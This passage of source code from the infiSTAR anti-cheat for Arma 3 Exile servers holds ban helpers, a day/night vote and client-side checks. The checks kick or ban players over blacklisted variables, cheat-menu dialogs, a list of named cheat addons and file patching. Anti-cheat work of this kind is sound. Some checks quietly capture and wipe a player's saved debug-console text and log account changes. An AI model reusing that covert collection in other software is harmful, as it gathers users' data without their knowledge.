  1194. _steamName
  1195. ";
  1196. fnc_getSteamNameIfSaved = compileFinal "
  1197. _steamName = missionNameSpace getVariable[format['STEAM_NAME_%1',_uid],''];
  1198. _steamName
  1199. ";
  1200. call compile ("
  1201. "+_fn_getTempBans+" = compileFinal ""
  1202. if(isNil'"+_TMPBAN+"')then{"+_TMPBAN+"=[];}else{if!("+_TMPBAN+" isEqualType [])then{"+_TMPBAN+"=[];};};_tempbans = "+_TMPBAN+";"+_TMPBAN+"
  1203. "";
  1204. "+_fnc_addTempBan+" = compileFinal ""
  1205. "+_TMPBAN+" pushBackUnique _this;
  1206. PVAH_AHTMPBAN = "+_TMPBAN+";
  1207. 'PVAH_AHTMPBAN' call fnc_variable_to_admins;
  1208. call "+_fn_getTempBans+"
  1209. "";
  1210. "+_fnc_removeTempBan+" = compileFinal ""
  1211. _bantime = missionNameSpace getVariable [format['BANTIME_%1',_this],0];
  1212. if!(_bantime isEqualTo 0)then{missionNameSpace setVariable [format['BANTIME_%1',_this],nil];};
  1213. "+_TMPBAN+" = "+_TMPBAN+" - [_this];
  1214. PVAH_AHTMPBAN = "+_TMPBAN+";
  1215. 'PVAH_AHTMPBAN' call fnc_variable_to_admins;
  1216. call "+_fn_getTempBans+"
  1217. "";
  1218. ");
  1219. fnc_remove_billboard = compileFinal "
  1220. _vehicleID = _this getVariable ['ExileDatabaseID', -1];if(_vehicleID > -1)then{format ['deleteVehicle:%1', _vehicleID] call ExileServer_system_database_query_fireAndForget;};
  1221. ";
  1222. fnc_deleteObject = compileFinal "
  1223. _objToDelete = _this;
  1224. if(_objToDelete isKindOf 'Exile_Construction_Flag_Static')then
  1225. {
  1226. _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
  1227. if(_objectID != -1)then
  1228. {
  1229. _pos = getPosATL _objToDelete;
  1230. _holder = createVehicle ['groundWeaponHolder', _pos, [], 0, 'CAN_COLLIDE'];
  1231. _pos set[2,(_pos select 2)+0.1];
  1232. _holder setPosATL _pos;
  1233. _holder addItemCargoGlobal ['Exile_Item_Flag',1];
  1234.  
  1235. format['deleteTerritory:%1', _objectID] call ExileServer_system_database_query_fireAndForget;
  1236. };
  1237. };
  1238. _type = typeOf _objToDelete;
  1239. if(_objToDelete isKindOf 'AbstractConstruction')then
  1240. {
  1241. if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileContainer'))then
  1242. {
  1243. _objToDelete call ExileServer_object_container_packContainer;
  1244. }
  1245. else
  1246. {
  1247. _objToDelete call ExileServer_object_construction_database_delete;
  1248. _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
  1249. _config = getText (_config >> 'kitMagazine');
  1250.  
  1251. _pos = getPosATL _objToDelete;
  1252. _holder = createVehicle ['groundWeaponHolder', _pos, [], 0, 'CAN_COLLIDE'];
  1253. _pos set[2,(_pos select 2)+0.1];
  1254. _holder setPosATL _pos;
  1255. _holder addItemCargoGlobal [_config,1];
  1256. };
  1257. };
  1258. if(_objToDelete isKindOf 'Exile_Construction_Abstract_Static')then
  1259. {
  1260. if!(_objToDelete isKindOf 'Exile_Construction_Abstract_Physics')then
  1261. {
  1262. _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
  1263. if(_objectID != -1)then
  1264. {
  1265. _objToDelete call ExileServer_object_construction_database_delete;
  1266. _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)||(getText(_x >> ''upgradeObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
  1267. _config = getText (_config >> 'kitMagazine');
  1268.  
  1269. _pos = getPosATL _objToDelete;
  1270. _holder = createVehicle ['groundWeaponHolder', _pos, [], 0, 'CAN_COLLIDE'];
  1271. _pos set[2,(_pos select 2)+0.1];
  1272. _holder setPosATL _pos;
  1273. _holder addItemCargoGlobal [_config,1];
  1274. };
  1275. };
  1276. };
  1277. if(_objToDelete isKindOf 'Exile_Sign_TraderCity')then
  1278. {
  1279. _objToDelete call fnc_remove_billboard;
  1280. };
  1281. if(!isNull _objToDelete)then
  1282. {
  1283. _objToDelete setDamage 1;
  1284. {deleteVehicle _x;} forEach (attachedObjects _objToDelete);
  1285. deleteVehicle _objToDelete;
  1286. };
  1287. ";
  1288. fnc_serverMassMessage = compileFinal "
  1289. private['_msg','_clientID'];
  1290. _msg = _this select 0;
  1291. if(typename _msg isEqualTo 'STRING')then{_msg = [_this select 0,0,0.7,10,0];};
  1292. _clientID = _this select 1;
  1293. _code = {_this spawn bis_fnc_dynamictext;};
  1294. [_msg,_code,_clientID,false] call FN_infiSTAR_S;
  1295. ";
  1296. diag_log format['<infiSTAR.de> %1 - Thread MAIN: none-threaded code compiled and/or sent!',time];
  1297. if(_DayNightVote)then{
  1298. VOTETIME_MRV = _MRV;
  1299. VOTETIME_MVP = _MVP;
  1300. VOTETIME_VCT = _VCT;
  1301. VOTETIME_LVT = 0;
  1302. VOTETIME_ARR = [];
  1303. fnc_VoteTimeServer = compileFinal "
  1304. _clientUID = _this select 0;
  1305. _vote = _this select 1;
  1306. if((VOTETIME_VCT + VOTETIME_LVT) < time)then
  1307. {
  1308.  
  1309. if!(_clientUID in VOTETIME_ARR)then
  1310. {
  1311. _players = allPlayers;
  1312. VOTETIME_ARR pushBack _clientUID;
  1313. VOTETIME_ARR pushBack _vote;
  1314. _cntAll = count _players;
  1315. _cntVoted = {getPlayerUID _x in VOTETIME_ARR} count _players;
  1316. if((_cntAll > 0) && (_cntVoted > 0))then
  1317. {
  1318. _cntday = 0;
  1319. _cntnight = 0;
  1320. _rateAll = _cntVoted / _cntAll;
  1321. _rateAllShown = format['%1',_rateAll*100];
  1322. _rateAllShown = format['%1',_rateAllShown select [0,4]];
  1323. _rateAllShown = _rateAllShown + '%';
  1324. if(_rateAll >= VOTETIME_MVP)then
  1325. {
  1326. _oUIDs = [];
  1327. {
  1328. _xUID = getPlayerUID _x;
  1329. if(_xUID != '')then
  1330. {
  1331. _oUIDs pushBack _xUID;
  1332. };
  1333. } forEach _players;
  1334. for '_i' from 0 to (count VOTETIME_ARR)-1 step 2 do
  1335. {
  1336. _cUID = VOTETIME_ARR select _i;
  1337. _cVOTE = VOTETIME_ARR select (_i+1);
  1338. if(_cUID in _oUIDs)then
  1339. {
  1340. if(_cVOTE == 'DAY')then{_cntday = _cntday + 1;};
  1341. if(_cVOTE == 'NIGHT')then{_cntnight = _cntnight + 1;};
  1342. };
  1343. };
  1344.  
  1345. _date = date;
  1346. _changeTime = false;
  1347. if!(_cntday isEqualTo _cntnight)then
  1348. {
  1349. if(_cntday > _cntnight)then
  1350. {
  1351. _rateDay = if(_cntday isEqualTo 0)then{0}else{_cntday / _cntAll};
  1352. if(_rateDay >= VOTETIME_MRV)then
  1353. {
  1354. _date set [3,11];
  1355. _changeTime = true;
  1356. };
  1357. }
  1358. else
  1359. {
  1360. _rateNight = if(_cntnight isEqualTo 0)then{0}else{_cntnight / _cntAll};
  1361. if(_rateNight >= VOTETIME_MRV)then
  1362. {
  1363. _date set [3,23];
  1364. _changeTime = true;
  1365. };
  1366. };
  1367. };
  1368.  
  1369. if(_changeTime)then
  1370. {
  1371. setDate _date;
  1372. VOTETIME_ARR = [];
  1373. VOTETIME_LVT = time;
  1374. };
  1375.  
  1376. _txt = format['%1 of %2 (%3) Players voted - %4 for Day and %5 for Night',_cntVoted,_cntAll,_rateAllShown,_cntday,_cntnight];
  1377. _msg = ['<t size=''0.55'' font =''OrbitronLight'' color=''#00B1CC''>'+(_txt)+'</t>',safeZoneXAbs/safeZoneWAbs/4,SafeZoneY+0.02,10,0,0,3079];
  1378. [_msg,-2] call fnc_serverMassMessage;
  1379. }
  1380. else
  1381. {
  1382. _txt = format['%1 of %2 (%3) Players voted (in chat type /vote day or /vote night)',_cntVoted,_cntAll,_rateAllShown];
  1383. _msg = ['<t size=''0.55'' font =''OrbitronLight'' color=''#00B1CC''>'+(_txt)+'</t>',safeZoneXAbs/safeZoneWAbs/4,SafeZoneY+0.02,10,0,0,3079];
  1384. [_msg,-2] call fnc_serverMassMessage;
  1385. };
  1386. };
  1387. };
  1388. }
  1389. else
  1390. {
  1391. _txt = format['Wait %1s more until next day/night vote can be made',round((VOTETIME_VCT + VOTETIME_LVT) - time)];
  1392. _msg = ['<t size=''0.55'' font =''OrbitronLight'' color=''#00B1CC''>'+(_txt)+'</t>',safeZoneXAbs/safeZoneWAbs/4,SafeZoneY+0.02,10,0,0,3079];
  1393. [_msg,-2] call fnc_serverMassMessage;
  1394. };
  1395. ";
  1396. diag_log format['<infiSTAR.de> %1 - VoteTimeServer compiled',time];
  1397. };
  1398. _tmpstartAsNormal = _startAsNormal;
  1399. _startAsNormal = [];
  1400. {
  1401. if(count _x > 5)then
  1402. {
  1403. _startAsNormal pushBackUnique _x;
  1404. };
  1405. } forEach _tmpstartAsNormal;
  1406. diag_log format['<infiSTAR.de> %1 - Thread BEFORE MAIN: adding to main string..',time];
  1407. _A3AHstring = "
  1408. diag_log format['<infiSTAR.de> %1 - Thread BEFORE MAIN: still compiling...',time];
  1409. _admins = "+str _admins+";"+_adminsA+" = _admins;if!("+str _startAsNormal+" isEqualTo [])then{{"+_adminsA+" = "+_adminsA+" - [_x];} forEach "+str _startAsNormal+";};
  1410. if(isNil '"+_AH_HackLogArrayRND+"')then{"+_AH_HackLogArrayRND+" = [];};
  1411. if(isNil '"+_AH_SurvLogArrayRND+"')then{"+_AH_SurvLogArrayRND+" = [];};
  1412. if(isNil '"+_AH_AdmiLogArrayRND+"')then{"+_AH_AdmiLogArrayRND+" = [];};
  1413. fnc_variable_to_admins = compileFinal '
  1414. _fn_send = {
  1415. {
  1416. _owner = _x call FNC_OWNER_BY_UID;
  1417. if!(_owner isEqualTo -10)then
  1418. {
  1419. _owner publicVariableClient _this;
  1420. };
  1421. } forEach "+str _admins+";
  1422. };
  1423. if(typeName _this isEqualTo ''STRING'')then
  1424. {
  1425. _this call _fn_send;
  1426. }
  1427. else
  1428. {
  1429. {_x call _fn_send;} forEach _this;
  1430. };
  1431. ';
  1432. _FN_INJECT_ON_CLIENT = {
  1433. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1434. _blacklistedAdminVariables = "+str _blacklistedAdminVariables+";
  1435. _badIDDsToKickPre = "+str _badIDDsToKick+";
  1436. _badIDDsToKick = [];
  1437. {_badIDDsToKick pushBackUnique format['Display #%1',_x];} forEach _badIDDsToKickPre;
  1438. _badIDDsToClosePre = "+str _badIDDsToClose+";
  1439. _badIDDsToClose = [];
  1440. {_badIDDsToClose pushBackUnique format['Display #%1',_x];} forEach _badIDDsToClosePre;
  1441. "; if(_UDW)then{ _A3AHstring = _A3AHstring + "
  1442. _allowedIddsPre = "+str _allowedIDDs+";
  1443. _allowedIDDs = ['No display'];
  1444. {_allowedIDDs pushBackUnique format['Display #%1',_x];} forEach _allowedIddsPre;
  1445. "; }; _A3AHstring = _A3AHstring + "
  1446. "; }; _A3AHstring = _A3AHstring + "
  1447. _49code = {
  1448. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1449. if(_isNormal)then
  1450. {
  1451. if(_vct < diag_tickTime)then
  1452. {
  1453. _vct = diag_tickTime + 6;
  1454. if(!_admin)then
  1455. {
  1456. {
  1457. _av = missionNamespace getVariable _x;
  1458. if(!isNil '_av')then
  1459. {
  1460. _log = format['AdminVariable in missionNamespace: %1 - %2',_x,_av];
  1461. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  1462. [] call _AHKickOFF;
  1463. };
  1464. } forEach _blacklistedAdminVariables;
  1465. };
  1466. "; if(_useBlacklistedVariableCheck)then{ _A3AHstring = _A3AHstring + "
  1467. {
  1468. _bv = nil;_bv = missionNamespace getVariable _x;
  1469. if(!isNil '_bv')then
  1470. {
  1471. _log = format['BadVariable in missionNamespace: %1 - %2',_x,_bv];
  1472. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  1473. [] call _AHKickOFF;
  1474. };
  1475. _bv = nil;_bv = uiNamespace getVariable _x;
  1476. if(!isNil '_bv')then
  1477. {
  1478. _log = format['BadVariable in uiNamespace: %1 - %2 (these variables can be set in the editor)',_x,_bv];
  1479. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1480. [] call _AHKickOFF;
  1481. };
  1482. _bv = nil;_bv = profileNamespace getVariable _x;
  1483. if(!isNil '_bv')then
  1484. {
  1485. _log = format['BadVariable in profileNamespace: %1 - %2',_x,_bv];
  1486. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1487. [] call _AHKickOFF;
  1488. };
  1489. _bv = nil;_bv = parsingNamespace getVariable _x;
  1490. if(!isNil '_bv')then
  1491. {
  1492. _log = format['BadVariable in parsingNamespace: %1 - %2',_x,_bv];
  1493. [_name,_puid,'TMPBAN',toArray(_log)] call _AHKickLog;
  1494. [] call _AHKickOFF;
  1495. };
  1496. _bv = nil;_bv = player getVariable _x;
  1497. if(!isNil '_bv')then
  1498. {
  1499. _log = format['BadVariable in objectNamespace (player): %1 - %2',_x,_bv];
  1500. [_name,_puid,'TMPBAN',toArray(_log)] call _AHKickLog;
  1501. [] call _AHKickOFF;
  1502. };
  1503. } forEach _blacklistedVariables;
  1504. "; }; _A3AHstring = _A3AHstring + "
  1505. {
  1506. _magName = _x select 0;
  1507. _magSize = _x select 1;
  1508. _config = configFile >> 'cfgMagazines' >> _magName;
  1509. if(isClass _config)then
  1510. {
  1511. _max = getNumber(_config >> 'count');
  1512. if(_max > 0)then
  1513. {
  1514. if(_magSize > (_max+10))exitWith
  1515. {
  1516. _log = format['Maximum magazine size is %1, player value was: %2 - magazine: %3',_max,_magSize,_magName];
  1517. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1518. [] call _AHKickOFF;
  1519. };
  1520. };
  1521. };
  1522. } forEach (magazinesAmmoFull player);
  1523. };
  1524. if(_vctd < diag_tickTime)then
  1525. {
  1526. _vctd = diag_tickTime + 30;
  1527.  
  1528. {
  1529. _index = _white pushBackUnique _x;
  1530. if(_index > -1)then
  1531. {
  1532. [
  1533. [
  1534. _name,
  1535. _puid,
  1536. _AHKickLog,
  1537. _AHKickOFF,
  1538. _x
  1539. ],
  1540. _fnc_finddeeper
  1541. ] execFSM 'call.fsm';
  1542. };
  1543. } forEach (allVariables missionNamespace);
  1544. };
  1545. };
  1546. if(_vctoo < diag_tickTime)then
  1547. {
  1548. _vctoo = diag_tickTime + 60;
  1549.  
  1550. {
  1551. _building = _x;
  1552. {
  1553. _index = _white2 pushBackUnique _x;
  1554. if(_index > -1)then
  1555. {
  1556. [
  1557. [
  1558. _name,
  1559. _puid,
  1560. _AHKickLog,
  1561. _AHKickOFF,
  1562. _x,
  1563. _building
  1564. ],
  1565. _fnc_finddeeperObj
  1566. ] execFSM 'call.fsm';
  1567. };
  1568. } forEach (allVariables _building);
  1569. } forEach _buildings;
  1570. };
  1571. "; if(_check_doors_n_gates)then{ _A3AHstring = _A3AHstring + "
  1572. {
  1573. _lockstate = _x getvariable ['ExileIsLocked',9];
  1574. _animationPhase1 = _x animationPhase 'DoorRotation';
  1575. _animationPhase2 = _x animationPhase 'DoorRotationLeft';
  1576. _animationPhase3 = _x animationPhase 'DoorRotationRight';
  1577. if((_lockstate isEqualTo -1)&&(1 in [_animationPhase1,_animationPhase2,_animationPhase3]))exitWith
  1578. {
  1579. _x animate ['DoorRotation',0];
  1580. _x animate ['DoorRotationLeft',0];
  1581. _x animate ['DoorRotationRight',0];
  1582. };
  1583. } forEach (nearestObjects [player,_checkthesedoorgates, 12]);
  1584. "; }; _A3AHstring = _A3AHstring + "
  1585. "; }; _A3AHstring = _A3AHstring + "
  1586. _display49 = findDisplay 49;
  1587. if(isNull _display49)then
  1588. {
  1589. _escapefound = false;
  1590. }
  1591. else
  1592. {
  1593. "; if(_disconnect_dupe_check && !_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1594. if(!_escapefound)then
  1595. {
  1596. _escapefound = true;
  1597. if(!_DCHECKrunning)then
  1598. {
  1599. _DCHECKrunning = true;
  1600. "+_antidupePVResVar+" = nil;
  1601. [_name,_puid,'DCHECK'] call _AHKickLog;
  1602. _startDCHECK = time + 5;
  1603. };
  1604. };
  1605. if(_DCHECKrunning)then
  1606. {
  1607. if(time > _startDCHECK || !isNil '"+_antidupePVResVar+"')then
  1608. {
  1609. if(isNil '"+_antidupePVResVar+"')then
  1610. {
  1611. _log = format['may have tried to disconnect dupe @%1',mapGridPosition player];
  1612. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  1613. (findDisplay 49) closeDisplay 0;
  1614. };
  1615. _DCHECKrunning = false;
  1616. };
  1617. };
  1618. "; }; _A3AHstring = _A3AHstring + "
  1619.  
  1620. "; if(!_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
  1621. if!(serverCommandAvailable '#logout')then
  1622. {
  1623. (_display49 displayCtrl 2) ctrlEnable false;
  1624. (_display49 displayCtrl 2) ctrlSetText "+str _ESCMNUTOP+";
  1625. (_display49 displayCtrl 103) ctrlEnable false;
  1626. (_display49 displayCtrl 103) ctrlSetText "+str _ESCMNUBOT+";
  1627. (_display49 displayCtrl 523) ctrlSetText _name;
  1628. (_display49 displayCtrl 109) ctrlSetText _puid;
  1629. (_display49 displayCtrl 122) ctrlEnable false;
  1630. (_display49 displayCtrl 122) ctrlShow false;
  1631. };
  1632. "; if(!_BRIEFING_MSG)then{ _A3AHstring = _A3AHstring + "
  1633. (_display49 displayCtrl 120) ctrlSetText 'infiSTAR.de AntiHack & AdminsTools - [Author: infiSTAR, Contact: [email protected]]';
  1634. "; }else{ _A3AHstring = _A3AHstring + "
  1635. (_display49 displayCtrl 115025) ctrlSetText 'AntiHack & AdminsTools';
  1636. (_display49 displayCtrl 115035) ctrlSetText 'by infiSTAR.de';
  1637. "; }; _A3AHstring = _A3AHstring + "
  1638. "; }; _A3AHstring = _A3AHstring + "
  1639. };
  1640. if(!isNull (findDisplay 24))then
  1641. {
  1642. {
  1643. if(!isNull ((findDisplay 24) displayCtrl _x))then
  1644. {
  1645. _log = format['MenuBasedHack :: 24 :: %1',_x];
  1646. [_name,_puid,'BAN',toArray(_log)] call _AHKickLog;
  1647. [] call _AHKickOFF;
  1648. };
  1649. } forEach [2406,2407,2408,2409,2410,2411,2412,2443,2442,2441];
  1650. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1651. _idKeydown24 = 9001;
  1652. _randomNumber = (floor(random 8))+1;
  1653. for '_i' from 0 to _randomNumber do
  1654. {
  1655. _idKeydown24 = (findDisplay 24) displayAddEventHandler ['KeyDown',{false}];
  1656. };
  1657. if!(_idKeydown24 isEqualTo _randomNumber)then
  1658. {
  1659. if(_idKeydown24 isEqualTo -1)exitWith{};
  1660. for '_i' from 0 to 3 do{(findDisplay 24) closeDisplay 0;};
  1661. };
  1662. "; }; _A3AHstring = _A3AHstring + "
  1663. if(!isNull (findDisplay 24))then
  1664. {
  1665. (findDisplay 24) displayRemoveAllEventHandlers 'KeyDown';
  1666. _chat = (findDisplay 24) displayCtrl 101;
  1667. _txt = ctrlText _chat;
  1668. if(_txt != '')then
  1669. {
  1670. _txt = toLower _txt;
  1671. if(_admin)then
  1672. {
  1673. if(_txt isEqualTo '!admin')exitWith
  1674. {
  1675. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1676. [_name,_puid,'AC',toArray(_txt)] call _AHKickLog;
  1677. (findDisplay 46)closeDisplay 0;
  1678. };
  1679. };
  1680. {
  1681. _x0 = _x select 0;
  1682. if(_txt isEqualTo _x0)exitWith
  1683. {
  1684. _x1 = _x select 1;
  1685. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1686. [parseText format['<t color=''#2784D6'' size=''1'' font =''OrbitronMedium''>%1</t>',_x1],0,0,5,0] spawn bis_fnc_dynamictext;
  1687. systemChat _x1;
  1688. };
  1689. } forEach "+str _chatCommandsL+";
  1690. {
  1691. _x0 = _x select 0;
  1692. if(_txt find _x0 != -1)exitWith
  1693. {
  1694. _x1 = _x select 1;
  1695. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1696. [parseText format['<t color=''#2784D6'' size=''1'' font =''OrbitronMedium''>%1</t>',_x1],0,0,5,0] spawn bis_fnc_dynamictext;
  1697. systemChat _x1;
  1698. };
  1699. } forEach "+str _chatCommandsPL+";
  1700. {
  1701. if(_txt find _x > -1)exitWith{
  1702. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1703. _log = format['BadText on Chat: %1 [%2]',_txt,_x];
  1704. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  1705. };
  1706. } forEach "+str _badChat+";
  1707. call {
  1708. "; if(_DayNightVote)then{ _A3AHstring = _A3AHstring + "
  1709. if((_txt select [0,8] isEqualTo 'vote day')||(_txt select [1,8] isEqualTo 'vote day'))exitWith
  1710. {
  1711. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1712. [_name,_puid,'VOTE',toArray 'DAY'] call _AHKickLog;
  1713. };
  1714. if((_txt select [0,10] isEqualTo 'vote night')||(_txt select [1,10] isEqualTo 'vote night'))exitWith
  1715. {
  1716. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1717. [_name,_puid,'VOTE',toArray 'NIGHT'] call _AHKickLog;
  1718. };
  1719. "; }; _A3AHstring = _A3AHstring + "
  1720. if(_txt isEqualTo '!chat')exitWith
  1721. {
  1722. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1723. if(!isNil'fnc_chat_send')then{if(isNull (findDisplay -1340))then{createdialog 'infiSTAR_CHAT';};};
  1724. };
  1725. _arr = ['fixgear','fixme','fixuniform','fixvest'];
  1726. _txt1 = _txt select [1,15];
  1727. if(_txt in _arr || _txt1 in _arr)exitWith
  1728. {
  1729. waitUntil {(findDisplay 24) closeDisplay 0;isNull findDisplay 24};
  1730. ['',''] spawn fnc_check_uniform_n_vest;
  1731. };
  1732. };
  1733. };
  1734. };
  1735. };
  1736. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1737. onEachFrame {};
  1738. onMapSingleClick '';
  1739. "; if(_checkFilePatchingEnabled)then{ _A3AHstring = _A3AHstring + "
  1740. if(isFilePatchingEnabled)then
  1741. {
  1742. _log = format['Filepatching enabled.. player had game running for %1 seconds. Tempbanned for 10 minutes!',diag_tickTime];
  1743. [_name,_puid,'TMPBAN',toArray(_log),time + 600] call _AHKickLog;
  1744. [] call _AHKickOFF;
  1745. };
  1746. "; }; _A3AHstring = _A3AHstring + "
  1747. inGameUISetEventHandler ['PrevAction','false'];
  1748. inGameUISetEventHandler ['NextAction','false'];
  1749. inGameUISetEventHandler ['Action','false'];
  1750. "; }; _A3AHstring = _A3AHstring + "
  1751.  
  1752.  
  1753. "; if(_stopSafeGlitchAndCorpseDupe)then{ _A3AHstring = _A3AHstring + "
  1754. player removeAllEventHandlers 'InventoryOpened';
  1755. player addEventHandler ['InventoryOpened', { _this call fn_onInventoryOpened }];
  1756. "; }; _A3AHstring = _A3AHstring + "
  1757.  
  1758. player removeAllEventhandlers 'Take';
  1759. player addEventHandler ['Take', { _this call fn_onPlayerTake }];
  1760.  
  1761.  
  1762. uiSleep .1;
  1763. if(rating player < 999999)then{player addRating 9999999;};
  1764. if!(player getVariable["+str _variable1+",false])then{player setVariable["+str _variable1+",true,true];};
  1765. };
  1766. _bigInputArray =
  1767. [
  1768. [
  1769. [_name,_uid,_AHKickOFF,_AHKickLog,_admins,_admin,_isNormal],
  1770. {
  1771. scriptName '1';
  1772. "+_AH_RunCheck+" = time;
  1773. _name = _this select 0;
  1774. _puid = _this select 1;
  1775. _AHKickOFF = _this select 2;
  1776. _AHKickLog = _this select 3;
  1777. _admins = _this select 4;
  1778. _admin = _this select 5;
  1779. _isNormal = _this select 6;
  1780.  
  1781. _pid = profileNamespace getVariable ['ExilePlayerUID', _puid];
  1782. if!(_pid isEqualTo _puid)then
  1783. {
  1784. _log = format['Player changed Steam Accounts! old PlayerUID: %1',_pid];
  1785. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  1786. };
  1787. _ExilePlayerCnt = profileNamespace getVariable ['ExilePlayerCnt',0];
  1788. if(_ExilePlayerCnt > 0)then
  1789. {
  1790. _log = format['Banned %1 times before..',_ExilePlayerCnt];
  1791. if(_ExilePlayerCnt > 10)exitWith {
  1792. [_name,_puid,'HLOG',toArray(_log)] call _AHKickLog;
  1793. };
  1794. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  1795. };
  1796. _pidi = profileNamespace getVariable ['ExilePlayerUIDI', _puid];
  1797. if!(_pidi isEqualTo _puid)then
  1798. {
  1799. _log = format['Player changed Steam Accounts! old infiSTAR PlayerUID: %1',_pidi];
  1800. [_name,_puid,'SLOG',toArray(_log)] call _AHKickLog;
  1801. profileNamespace setVariable ['ExilePlayerUIDI', _puid];
  1802. saveprofileNamespace;
  1803. };
  1804. _dbcode = '';
  1805. if(!_admin)then
  1806. {
  1807. _var = 'rscdebugconsole_expression';
  1808. _dbcode = profileNamespace getVariable [_var,''];
  1809. profileNamespace setVariable [_var,''];
  1810. saveprofileNamespace;
  1811. };
  1812. [_name,_puid,'CLIENT_PING',netId player,toArray(profileNameSteam),_pid,_pidi,toArray(_dbcode)] call _AHKickLog;
  1813. if(!isNull (findDisplay 316000))exitWith
  1814. {
  1815. _log = format['Found Debug Console: %1',ctrlText ((findDisplay 316000) displayCtrl 12284)];
  1816. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1817. (findDisplay 46)closeDisplay 0;
  1818. };
  1819. ['"+_AHKickOFF+"',[_AHKickOFF] call fnc_CompilableString] call FN_infiSTAR_F;
  1820. if(isNil'"+_AHKickOFF+"')exitWith
  1821. {
  1822. _log = 'KICK FUNCTION IS NIL!';
  1823. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  1824. (findDisplay 46)closeDisplay 0;
  1825. };
  1826. if!((str _AHKickOFF) isEqualTo (str "+_AHKickOFF+"))exitWith
  1827. {
  1828. _log = 'KICK FUNCTION IS BROKEN!';
  1829. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  1830. (findDisplay 46)closeDisplay 0;
  1831. };
  1832. ['"+_AHKickLog+"',[_AHKickLog] call fnc_CompilableString] call FN_infiSTAR_F;
  1833. if(isNil'"+_AHKickLog+"')exitWith
  1834. {
  1835. _log = 'KICKLOG FUNCTION IS NILLED!';
  1836. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  1837. (findDisplay 46)closeDisplay 0;
  1838. };
  1839. if!((str _AHKickLog) isEqualTo (str "+_AHKickLog+"))exitWith
  1840. {
  1841. _log = 'KICKLOG FUNCTION IS BROKEN!';
  1842. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  1843. (findDisplay 46)closeDisplay 0;
  1844. };
  1845. "; if(!_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
  1846. if(_isNormal)then {
  1847. _badClasses = ['a3_m3editor','devcon','life_server','loki_lost_key','pooploop','rscrazzler','rsclistboxvg','vgdialog'];
  1848. _activatedAddons = [];
  1849. {_activatedAddons pushBack (toLower _x)} forEach activatedAddons;
  1850. {
  1851. _addon = _x;
  1852. {
  1853. if(_addon find (toLower _x) != -1)then
  1854. {
  1855. _log = format['Bad Addon found: %1 (%2)',_addon,_x];
  1856. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1857. [] call _AHKickOFF;
  1858. };
  1859. } forEach _badClasses;
  1860. } forEach _activatedAddons;
  1861.  
  1862. _cfgPatches = configFile >> 'CfgPatches';
  1863. for '_i' from 0 to (count _cfgPatches - 1) do
  1864. {
  1865. _patchClass = _cfgPatches select _i;
  1866. if(isClass _patchClass && {(toLower configName _patchClass) in _badClasses})then
  1867. {
  1868. _log = format['Bad Addon found in CfgPatches: %1',configName _patchClass];
  1869. [_name,_puid,'HLOG_SKICK',toArray(_log)] call _AHKickLog;
  1870. [] call _AHKickOFF;
  1871. };
  1872. };
  1873. };
  1874. "; }; _A3AHstring = _A3AHstring + "
  1875. if!(_puid isEqualTo (getPlayerUID player))exitWith
  1876. {
  1877. _log = format['Server PUID not equal to player PUID (%1 != %2) (kicked)',_puid,getPlayerUID player];
  1878. [_name,_puid,'SLOG_SKICK',toArray(_log)] call _AHKickLog;
  1879. [] call _AHKickOFF;
  1880. };
  1881. }
  1882. ],
  1883. [
  1884. [_name,_uid,_AHKickOFF,_AHKickLog,_admin,_isNormal,_49code,_blacklistedAdminVariables,"+str _blacklistedVariables+"],
  1885. {
  1886. waitUntil{getClientStateNumber >= 10};
  1887. waituntil{!isNull findDisplay 46};
  1888. scriptName ""<spawn> "";
  1889. disableSerialization;
  1890. _name = _this select 0;
  1891. _puid = _this select 1;
  1892. _AHKickOFF = _this select 2;
  1893. _AHKickLog = _this select 3;
  1894. _admin = _this select 4;
  1895. _isNormal = _this select 5;
  1896. _escapefound = false;
  1897. _startDCHECK = 0;
  1898. _DCHECKrunning = false;
  1899.  
  1900. _keyUpfnc = {
  1901. _keyCode = _this select 1;
  1902. _handle = false;
  1903. if(_keyCode in (actionKeys 'TacticalView'))exitWith{true};
  1904. if(_keyCode in (actionKeys 'User3'))exitWith{if(!isNil'fnc_chat_send')then{if(isNull (findDisplay -1340))then{createdialog 'infiSTAR_CHAT';};};true};
  1905. if(_keyCode isEqualTo 0x3D)exitWith{if(!isNil'fnc_workplace')then{[] call fnc_workplace;};true};
